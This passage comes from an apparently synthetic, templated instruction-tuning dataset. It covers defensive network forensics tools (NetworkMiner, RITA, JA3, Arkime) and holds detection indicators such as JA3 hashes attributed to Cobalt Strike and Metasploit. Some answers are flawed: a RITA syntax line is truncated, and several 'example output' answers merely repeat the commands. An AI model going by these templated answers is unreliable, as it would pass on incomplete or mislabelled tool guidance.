Features:\n- Hosts tab: All hosts with OS fingerprinting\n- Files tab: Extracted files from transfers\n- Images tab: Extracted images\n- Credentials tab: Found usernames/passwords\n- Sessions tab: Reconstructed sessions\n- Anomalies tab: Suspicious findings\n```\n\n3. Common scenarios: Quick artifact extraction, Credential discovery, File recovery\n\n4. Best practices:\n - Free version has most features\n - Good complement to Wireshark", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-networkminer", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043926Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044045Z", "updated_at": "2025-12-18T00:11:32.044045Z"} +{"id": "trtp-591d74f4edee", "instruction": "When should I use NetworkMiner versus other similar tools?", "output": "Advantages of NetworkMiner:\n\nNetworkMiner is a network forensic analysis tool that extracts artifacts from PCAP files including files, images, hosts, credentials, and sessions without manual reconstruction.\n\nBest suited for:\n- Quick artifact extraction\n- Credential discovery\n- File recovery\n- Host inventory\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-networkminer", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043926Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044059Z", "updated_at": "2025-12-18T00:11:32.044059Z"} +{"id": "trtp-f7dd1ff69738", "instruction": "How does NetworkMiner integrate with other security tools?", "output": "Integration points for NetworkMiner:\n\nNetworkMiner is a network forensic analysis tool that extracts artifacts from PCAP files including files, images, hosts, credentials, and sessions without manual reconstruction.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-networkminer", "license": "original", "retrieved_at": "2025-12-18T00:11:32.043926Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044074Z", "updated_at": "2025-12-18T00:11:32.044074Z"} +{"id": "trtp-7ce514084868", "instruction": "Describe RITA Beacon Detection.", "output": "RITA Beacon Detection\n\nRITA (Real Intelligence Threat Analytics) analyzes Zeek logs to detect beaconing, DNS tunneling, and long connections. Uses statistical analysis to find C2 communication patterns.\n\nPlatform: linux\n\nCommon uses:\n- Detect C2 beaconing\n- Find DNS tunneling\n- Long connection analysis\n- Threat hunting", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-rita-beacon-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044266Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044288Z", "updated_at": "2025-12-18T00:11:32.044288Z"} +{"id": "trtp-e7ca8c3ceda5", "instruction": "Show me the basic syntax for RITA.", "output": "Syntax for RITA:\n\nrita import -d \n\nRITA (Real Intelligence Threat Analytics) analyzes Zeek logs to detect beaconing, DNS tunneling, and long connections. Uses statistical analysis to find C2 communication patterns.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-rita-beacon-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044266Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044301Z", "updated_at": "2025-12-18T00:11:32.044301Z"} +{"id": "trtp-30f5471aedfc", "instruction": "How would I use RITA for Detect C2 beaconing?", "output": "Example of RITA Beacon Detection:\n\n```\n# Import Zeek logs\nrita import /path/to/zeek/logs -d mydb\n\n# Generate HTML report\nrita html-report -d mydb\n\n# View beacons\nrita show-beacons -d mydb\n\n# View DNS tunneling\nrita show-dns-fqdn-lengths -d mydb\n```\n\nInterpretation: Beacon score indicates likelihood of C2 - higher is more suspicious", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-rita-beacon-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044266Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044314Z", "updated_at": "2025-12-18T00:11:32.044314Z"} +{"id": "trtp-c50db096253b", "instruction": "Show me an example of RITA in action.", "output": "Here is a practical example of RITA:\n\n```\n# Import Zeek logs\nrita import /path/to/zeek/logs -d mydb\n\n# Generate HTML report\nrita html-report -d mydb\n\n# View beacons\nrita show-beacons -d mydb\n\n# View DNS tunneling\nrita show-dns-fqdn-lengths -d mydb\n```\n\nRITA (Real Intelligence Threat Analytics) analyzes Zeek logs to detect beaconing, DNS tunneling, and long connections. Uses statistical analysis to find C2 communication patterns.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-rita-beacon-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044266Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044324Z", "updated_at": "2025-12-18T00:11:32.044324Z"} +{"id": "trtp-fdb3fed7c797", "instruction": "When should I use RITA?", "output": "Use cases for RITA:\n\n- Detect C2 beaconing\n- Find DNS tunneling\n- Long connection analysis\n- Threat hunting\n\nRITA (Real Intelligence Threat Analytics) analyzes Zeek logs to detect beaconing, DNS tunneling, and long connections. Uses statistical analysis to find C2 communication patterns.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-rita-beacon-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044266Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044335Z", "updated_at": "2025-12-18T00:11:32.044335Z"} +{"id": "trtp-66f86d7c997d", "instruction": "Explain the output of RITA.", "output": "Interpreting RITA output:\n\nBeacon score indicates likelihood of C2 - higher is more suspicious\n\nExample output:\n```\n# Import Zeek logs\nrita import /path/to/zeek/logs -d mydb\n\n# Generate HTML report\nrita html-report -d mydb\n\n# View beacons\nrita show-beacons -d mydb\n\n# View DNS tunneling\nrita show-dns-fqdn-lengths -d mydb\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-rita-beacon-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044266Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044347Z", "updated_at": "2025-12-18T00:11:32.044347Z"} +{"id": "trtp-1aac212b3242", "instruction": "How can I get the most out of RITA?", "output": "Tips for using RITA:\n\n- Score > 0.8 = likely beacon\n- Review interval and data size consistency\n- Works best with 24+ hours of logs\n\nUseful for: Detect C2 beaconing, Find DNS tunneling, Long connection analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-rita-beacon-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044266Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044358Z", "updated_at": "2025-12-18T00:11:32.044358Z"} +{"id": "trtp-34136bf25f12", "instruction": "How can RITA help identify malicious activity?", "output": "Using RITA for threat detection:\n\nRITA (Real Intelligence Threat Analytics) analyzes Zeek logs to detect beaconing, DNS tunneling, and long connections. Uses statistical analysis to find C2 communication patterns.\n\nExample:\n```\n# Import Zeek logs\nrita import /path/to/zeek/logs -d mydb\n\n# Generate HTML report\nrita html-report -d mydb\n\n# View beacons\nrita show-beacons -d mydb\n\n# View DNS tunneling\nrita show-dns-fqdn-lengths -d mydb\n```\n\nTips:\n- Score > 0.8 = likely beacon\n- Review interval and data size consistency", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-rita-beacon-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044266Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044371Z", "updated_at": "2025-12-18T00:11:32.044371Z"} +{"id": "trtp-0c6de9bdadcf", "instruction": "What is the typical workflow for using RITA?", "output": "Workflow for RITA Beacon Detection:\n\n1. Understand the context: RITA (Real Intelligence Threat Analytics) analyzes Zeek logs to detect beaconing, DNS tunneling, and long connections. Uses statistical analysis to find C2 communication patterns.\n\n2. Apply the tool:\n```\n# Import Zeek logs\nrita import /path/to/zeek/logs -d mydb\n\n# Generate HTML report\nrita html-report -d mydb\n\n# View beacons\nrita show-beacons -d mydb\n\n# View DNS tunneling\nrita show-dns-fqdn-lengths -d mydb\n```\n\n3. Common scenarios: Detect C2 beaconing, Find DNS tunneling, Long connection analysis\n\n4. Best practices:\n - Score > 0.8 = likely beacon\n - Review interval and data size consistency", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-rita-beacon-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044266Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044387Z", "updated_at": "2025-12-18T00:11:32.044387Z"} +{"id": "trtp-752b81ea6ed4", "instruction": "What are the advantages of RITA for security analysis?", "output": "Advantages of RITA:\n\nRITA (Real Intelligence Threat Analytics) analyzes Zeek logs to detect beaconing, DNS tunneling, and long connections. Uses statistical analysis to find C2 communication patterns.\n\nBest suited for:\n- Detect C2 beaconing\n- Find DNS tunneling\n- Long connection analysis\n- Threat hunting\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-rita-beacon-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044266Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044401Z", "updated_at": "2025-12-18T00:11:32.044401Z"} +{"id": "trtp-4ff9f450f7ba", "instruction": "How does RITA integrate with other security tools?", "output": "Integration points for RITA:\n\nRITA (Real Intelligence Threat Analytics) analyzes Zeek logs to detect beaconing, DNS tunneling, and long connections. Uses statistical analysis to find C2 communication patterns.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-rita-beacon-detection", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044266Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044415Z", "updated_at": "2025-12-18T00:11:32.044415Z"} +{"id": "trtp-cf66533fd09d", "instruction": "What is JA3 and how is it used in security?", "output": "JA3/JA3S TLS Fingerprinting\n\nJA3 creates a fingerprint of TLS client hello parameters including cipher suites, extensions, and curves. JA3S fingerprints server hello. Used to identify malware and applications.\n\nPlatform: cross-platform\n\nCommon uses:\n- Identify malware families\n- Detect known C2\n- Track TLS clients\n- Threat hunting", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-ja3-ja3s-tls-fingerprinting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044606Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044628Z", "updated_at": "2025-12-18T00:11:32.044628Z"} +{"id": "trtp-69688b5157c8", "instruction": "What command or query syntax does JA3 use?", "output": "Syntax for JA3:\n\nZeek script or standalone tool\n\nJA3 creates a fingerprint of TLS client hello parameters including cipher suites, extensions, and curves. JA3S fingerprints server hello. Used to identify malware and applications.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-ja3-ja3s-tls-fingerprinting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044606Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044642Z", "updated_at": "2025-12-18T00:11:32.044642Z"} +{"id": "trtp-2d524706aeae", "instruction": "Demonstrate JA3/JA3S TLS Fingerprinting with an example.", "output": "Example of JA3/JA3S TLS Fingerprinting:\n\n```\n# Enable in Zeek\n@load protocols/ssl/ja3\n\n# View JA3 hashes in ssl.log\ncat ssl.log | zeek-cut ja3 ja3s server_name\n\n# Known malware JA3:\n# Cobalt Strike: a0e9f5d64349fb13191bc781f81f42e1\n# Metasploit: 3b5074b1b5d032e5620f69f9f700ff0e\n```\n\nInterpretation: JA3 hash uniquely identifies client TLS configuration", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-ja3-ja3s-tls-fingerprinting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044606Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044654Z", "updated_at": "2025-12-18T00:11:32.044654Z"} +{"id": "trtp-ad15351e98d0", "instruction": "Give me a practical example of JA3.", "output": "Here is a practical example of JA3:\n\n```\n# Enable in Zeek\n@load protocols/ssl/ja3\n\n# View JA3 hashes in ssl.log\ncat ssl.log | zeek-cut ja3 ja3s server_name\n\n# Known malware JA3:\n# Cobalt Strike: a0e9f5d64349fb13191bc781f81f42e1\n# Metasploit: 3b5074b1b5d032e5620f69f9f700ff0e\n```\n\nJA3 creates a fingerprint of TLS client hello parameters including cipher suites, extensions, and curves. JA3S fingerprints server hello. Used to identify malware and applications.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-ja3-ja3s-tls-fingerprinting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044606Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044664Z", "updated_at": "2025-12-18T00:11:32.044664Z"} +{"id": "trtp-aa6d17e7506f", "instruction": "In what scenarios is JA3 useful?", "output": "Use cases for JA3:\n\n- Identify malware families\n- Detect known C2\n- Track TLS clients\n- Threat hunting\n\nJA3 creates a fingerprint of TLS client hello parameters including cipher suites, extensions, and curves. JA3S fingerprints server hello. Used to identify malware and applications.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-ja3-ja3s-tls-fingerprinting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044606Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044676Z", "updated_at": "2025-12-18T00:11:32.044676Z"} +{"id": "trtp-96e387d93390", "instruction": "How do I interpret JA3 output?", "output": "Interpreting JA3 output:\n\nJA3 hash uniquely identifies client TLS configuration\n\nExample output:\n```\n# Enable in Zeek\n@load protocols/ssl/ja3\n\n# View JA3 hashes in ssl.log\ncat ssl.log | zeek-cut ja3 ja3s server_name\n\n# Known malware JA3:\n# Cobalt Strike: a0e9f5d64349fb13191bc781f81f42e1\n# Metasploit: 3b5074b1b5d032e5620f69f9f700ff0e\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-ja3-ja3s-tls-fingerprinting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044606Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044687Z", "updated_at": "2025-12-18T00:11:32.044687Z"} +{"id": "trtp-d1e263a8d9ad", "instruction": "What are common tips for JA3?", "output": "Tips for using JA3:\n\n- Compare against JA3 database\n- Same JA3 doesn't mean same malware\n- Use with other indicators\n\nUseful for: Identify malware families, Detect known C2, Track TLS clients", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-ja3-ja3s-tls-fingerprinting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044606Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044700Z", "updated_at": "2025-12-18T00:11:32.044700Z"} +{"id": "trtp-65fd1fa9afcd", "instruction": "What should I look for when using JA3 for incident response?", "output": "Using JA3 for threat detection:\n\nJA3 creates a fingerprint of TLS client hello parameters including cipher suites, extensions, and curves. JA3S fingerprints server hello. Used to identify malware and applications.\n\nExample:\n```\n# Enable in Zeek\n@load protocols/ssl/ja3\n\n# View JA3 hashes in ssl.log\ncat ssl.log | zeek-cut ja3 ja3s server_name\n\n# Known malware JA3:\n# Cobalt Strike: a0e9f5d64349fb13191bc781f81f42e1\n# Metasploit: 3b5074b1b5d032e5620f69f9f700ff0e\n```\n\nTips:\n- Compare against JA3 database\n- Same JA3 doesn't mean same malware", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-ja3-ja3s-tls-fingerprinting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044606Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044713Z", "updated_at": "2025-12-18T00:11:32.044713Z"} +{"id": "trtp-3a0fb56efff6", "instruction": "How do I incorporate JA3 into my security workflow?", "output": "Workflow for JA3/JA3S TLS Fingerprinting:\n\n1. Understand the context: JA3 creates a fingerprint of TLS client hello parameters including cipher suites, extensions, and curves. JA3S fingerprints server hello. Used to identify malware and applications.\n\n2. Apply the tool:\n```\n# Enable in Zeek\n@load protocols/ssl/ja3\n\n# View JA3 hashes in ssl.log\ncat ssl.log | zeek-cut ja3 ja3s server_name\n\n# Known malware JA3:\n# Cobalt Strike: a0e9f5d64349fb13191bc781f81f42e1\n# Metasploit: 3b5074b1b5d032e5620f69f9f700ff0e\n```\n\n3. Common scenarios: Identify malware families, Detect known C2, Track TLS clients\n\n4. Best practices:\n - Compare against JA3 database\n - Same JA3 doesn't mean same malware", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-ja3-ja3s-tls-fingerprinting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044606Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044728Z", "updated_at": "2025-12-18T00:11:32.044728Z"} +{"id": "trtp-f49909e1b567", "instruction": "What are the advantages of JA3 for security analysis?", "output": "Advantages of JA3:\n\nJA3 creates a fingerprint of TLS client hello parameters including cipher suites, extensions, and curves. JA3S fingerprints server hello. Used to identify malware and applications.\n\nBest suited for:\n- Identify malware families\n- Detect known C2\n- Track TLS clients\n- Threat hunting\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-ja3-ja3s-tls-fingerprinting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044606Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044742Z", "updated_at": "2025-12-18T00:11:32.044742Z"} +{"id": "trtp-59c1aee56d0d", "instruction": "Can JA3 be combined with other analysis methods?", "output": "Integration points for JA3:\n\nJA3 creates a fingerprint of TLS client hello parameters including cipher suites, extensions, and curves. JA3S fingerprints server hello. Used to identify malware and applications.\n\nIntegration suggestions:\n- Correlate with endpoint telemetry\n- Feed indicators to SIEM\n- Use with threat intelligence feeds\n- Combine with DNS logs for full picture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-ja3-ja3s-tls-fingerprinting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044606Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044756Z", "updated_at": "2025-12-18T00:11:32.044756Z"} +{"id": "trtp-1eb2a90e4373", "instruction": "What do I need to know about Arkime?", "output": "Arkime (Moloch) PCAP Search\n\nArkime (formerly Moloch) is a large scale full packet capture and search system. Indexes packets for fast searching and retrieval across terabytes of data.\n\nPlatform: linux\n\nCommon uses:\n- Large scale PCAP search\n- Historical traffic analysis\n- Incident investigation\n- Network visibility", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-arkime-moloch-pcap-search", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044944Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044965Z", "updated_at": "2025-12-18T00:11:32.044965Z"} +{"id": "trtp-13e888efa78a", "instruction": "What is the syntax for Arkime?", "output": "Syntax for Arkime:\n\nWeb interface search\n\nArkime (formerly Moloch) is a large scale full packet capture and search system. Indexes packets for fast searching and retrieval across terabytes of data.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-arkime-moloch-pcap-search", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044944Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044979Z", "updated_at": "2025-12-18T00:11:32.044979Z"} +{"id": "trtp-2d924b51ea64", "instruction": "Show me an example of Arkime in action.", "output": "Example of Arkime (Moloch) PCAP Search:\n\n```\n# Search queries:\nip.src == 192.168.1.100\nprotocols == tls\nport.dst == 443 && country.dst == CN\nhttp.uri == *password*\ntags == malware\n\n# Time range and export\n# Web UI supports date ranges and PCAP export\n```\n\nInterpretation: Returns matching sessions with full packet data available", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-arkime-moloch-pcap-search", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044944Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.044990Z", "updated_at": "2025-12-18T00:11:32.044990Z"} +{"id": "trtp-4f5251db5111", "instruction": "Give me a practical example of Arkime.", "output": "Here is a practical example of Arkime:\n\n```\n# Search queries:\nip.src == 192.168.1.100\nprotocols == tls\nport.dst == 443 && country.dst == CN\nhttp.uri == *password*\ntags == malware\n\n# Time range and export\n# Web UI supports date ranges and PCAP export\n```\n\nArkime (formerly Moloch) is a large scale full packet capture and search system. Indexes packets for fast searching and retrieval across terabytes of data.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-arkime-moloch-pcap-search", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044944Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045000Z", "updated_at": "2025-12-18T00:11:32.045000Z"} +{"id": "trtp-46000b0d0dda", "instruction": "When should I use Arkime?", "output": "Use cases for Arkime:\n\n- Large scale PCAP search\n- Historical traffic analysis\n- Incident investigation\n- Network visibility\n\nArkime (formerly Moloch) is a large scale full packet capture and search system. Indexes packets for fast searching and retrieval across terabytes of data.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-arkime-moloch-pcap-search", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044944Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045012Z", "updated_at": "2025-12-18T00:11:32.045012Z"} +{"id": "trtp-31e298056d3c", "instruction": "How do I read Arkime output?", "output": "Interpreting Arkime output:\n\nReturns matching sessions with full packet data available\n\nExample output:\n```\n# Search queries:\nip.src == 192.168.1.100\nprotocols == tls\nport.dst == 443 && country.dst == CN\nhttp.uri == *password*\ntags == malware\n\n# Time range and export\n# Web UI supports date ranges and PCAP export\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-arkime-moloch-pcap-search", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044944Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045022Z", "updated_at": "2025-12-18T00:11:32.045022Z"} +{"id": "trtp-9a189ed8abf6", "instruction": "What are some tips for using Arkime?", "output": "Tips for using Arkime:\n\n- Requires significant storage\n- Use SPI view for quick analysis\n- Tag sessions for tracking\n\nUseful for: Large scale PCAP search, Historical traffic analysis, Incident investigation", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-arkime-moloch-pcap-search", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044944Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045035Z", "updated_at": "2025-12-18T00:11:32.045035Z"} +{"id": "trtp-ccff5474b24f", "instruction": "What should I look for when using Arkime for incident response?", "output": "Using Arkime for threat detection:\n\nArkime (formerly Moloch) is a large scale full packet capture and search system. Indexes packets for fast searching and retrieval across terabytes of data.\n\nExample:\n```\n# Search queries:\nip.src == 192.168.1.100\nprotocols == tls\nport.dst == 443 && country.dst == CN\nhttp.uri == *password*\ntags == malware\n\n# Time range and export\n# Web UI supports date ranges and PCAP export\n```\n\nTips:\n- Requires significant storage\n- Use SPI view for quick analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-arkime-moloch-pcap-search", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044944Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045048Z", "updated_at": "2025-12-18T00:11:32.045048Z"} +{"id": "trtp-b04eefc3e372", "instruction": "What is the typical workflow for using Arkime?", "output": "Workflow for Arkime (Moloch) PCAP Search:\n\n1. Understand the context: Arkime (formerly Moloch) is a large scale full packet capture and search system. Indexes packets for fast searching and retrieval across terabytes of data.\n\n2. Apply the tool:\n```\n# Search queries:\nip.src == 192.168.1.100\nprotocols == tls\nport.dst == 443 && country.dst == CN\nhttp.uri == *password*\ntags == malware\n\n# Time range and export\n# Web UI supports date ranges and PCAP export\n```\n\n3. Common scenarios: Large scale PCAP search, Historical traffic analysis, Incident investigation\n\n4. Best practices:\n - Requires significant storage\n - Use SPI view for quick analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-arkime-moloch-pcap-search", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044944Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045063Z", "updated_at": "2025-12-18T00:11:32.045063Z"} +{"id": "trtp-1c3a1de218e0", "instruction": "What makes Arkime useful for this task?", "output": "Advantages of Arkime:\n\nArkime (formerly Moloch) is a large scale full packet capture and search system. Indexes packets for fast searching and retrieval across terabytes of data.\n\nBest suited for:\n- Large scale PCAP search\n- Historical traffic analysis\n- Incident investigation\n- Network visibility\n\nNetwork-level analysis complements endpoint data for full visibility.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-network_tools-arkime-moloch-pcap-search", "license": "original", "retrieved_at": "2025-12-18T00:11:32.044944Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.045076Z", "updated_at": 